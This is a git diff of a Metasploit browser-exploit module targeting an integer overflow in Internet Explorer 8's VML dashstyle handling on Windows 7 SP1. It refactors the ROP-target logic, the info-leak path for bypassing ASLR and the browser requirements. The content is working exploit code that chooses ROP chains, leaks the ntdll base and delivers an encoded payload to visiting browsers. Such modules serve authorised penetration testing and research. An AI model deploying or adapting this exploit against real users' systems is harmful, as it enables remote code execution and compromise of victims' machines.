@@ -28,18 +28,25 @@ def initialize(info={})
28
28
'Description' => %q{
29
29
This module exploits an integer overflow vulnerability on Internet Explorer.
30
30
The vulnerability exists in the handling of the dashstyle.array length for vml
31
- shapes on the vgx.dll module. This module has been tested successfully on Windows 7
32
- SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
33
- to use an info leak to disclose the ntdll.dll base address is provided. This target
34
- requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
35
- installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
31
+ shapes on the vgx.dll module.
32
+
33
+ This module has been built and tested specifically against Windows 7 SP1 with
34
+ Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
35
+ bypass ASLR, and by default the info leak is used. The ntdll version should be
36
+ either v6.1.7601.17514 (the default dll version on a newly installed/unpatched
37
+ Windows 7 SP1), or ntdll.dll v6.1.7601.17725 (installed after apply MS12-001).
38
+
39
+ If you wish to try the JRE6 component instead to bypass ASLR, you can set the
40
+ advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
41
+ have this particular component, the exploit will refuse the attack.
36
42
} ,
37
43
'License' => MSF_LICENSE ,
38
44
'Author' =>
39
45
[
40
46
'Nicolas Joly' , # Vulnerability discovery, PoC and analysis
41
- '4B5F5F4B' , # PoC
42
- 'juan vazquez' # Metasploit module
47
+ '4B5F5F4B' , # PoC
48
+ 'juan vazquez' , # Metasploit module
49
+ 'sinn3r' # BES upgrade
43
50
] ,
44
51
'References' =>
45
52
[
@@ -61,10 +68,11 @@ def initialize(info={})
61
68
'InitialAutoRunScript' => 'migrate -f'
62
69
} ,
63
70
'Platform' => 'win' ,
71
+ 'Arch' => ARCH_X86 ,
64
72
'BrowserRequirements' =>
65
73
{
66
74
:source => /script/i ,
67
- :os_name => OperatingSystems ::WINDOWS ,
75
+ :os_name => OperatingSystems ::Match :: WINDOWS_7 ,
68
76
:ua_name => HttpClients ::IE ,
69
77
:ua_ver => '8.0' ,
70
78
} ,
@@ -181,10 +189,10 @@ def get_ntdll_rop
181
189
def get_payload ( t , cli )
182
190
code = payload . encoded
183
191
# No rop. Just return the payload.
184
- return code if t [ 'Rop' ] . nil?
192
+ return code if t . opts [ 'Rop' ] . nil?
185
193
186
194
# Both ROP chains generated by mona.py - See corelan.be
187
- case t [ 'Rop' ]
195
+ case t . opts [ 'Rop' ]
188
196
when :jre
189
197
print_status ( "Using JRE ROP" )
190
198
stack_pivot = [
@@ -363,13 +371,13 @@ def html_info_leak
363
371
def set_rop ( t , rop , info )
364
372
case rop
365
373
when /^ntdll$/i
366
- t [ 'Rop' ] = :ntdll
374
+ t . opts [ 'Rop' ] = :ntdll
367
375
when /^jre6$/i
368
376
if info [ :java ] !~ /1\. 6|6\. 0/
369
- raise RuntimeError , "Target does not have the suitable Java component installed for our attack"
377
+ raise RuntimeError , "Target does not have the suitable Java component (1.6) installed for our attack"
370
378
end
371
379
372
- t [ 'Rop' ] = :jre
380
+ t . opts [ 'Rop' ] = :jre
373
381
end
374
382
375
383
return t
@@ -379,11 +387,12 @@ def on_request_exploit(cli, request, target_info)
379
387
begin
380
388
my_target = set_rop ( get_target , datastore [ 'ROP' ] , target_info )
381
389
rescue RuntimeError => e
382
- print_error ( e . message )
390
+ # This one is just a warning, because it's a requirement check so it's not that scary.
391
+ print_warning ( e . message )
383
392
return
384
393
end
385
394
386
- if my_target [ 'Rop' ] == :ntdll and request . uri !~ /#{ @second_stage_url } /
395
+ if my_target . opts [ 'Rop' ] == :ntdll and request . uri !~ /#{ @second_stage_url } /
387
396
html = html_info_leak
388
397
print_status ( "Sending HTML to info leak..." )
389
398
send_response ( cli , html , { 'Content-Type' => 'text/html' } )
0 commit comments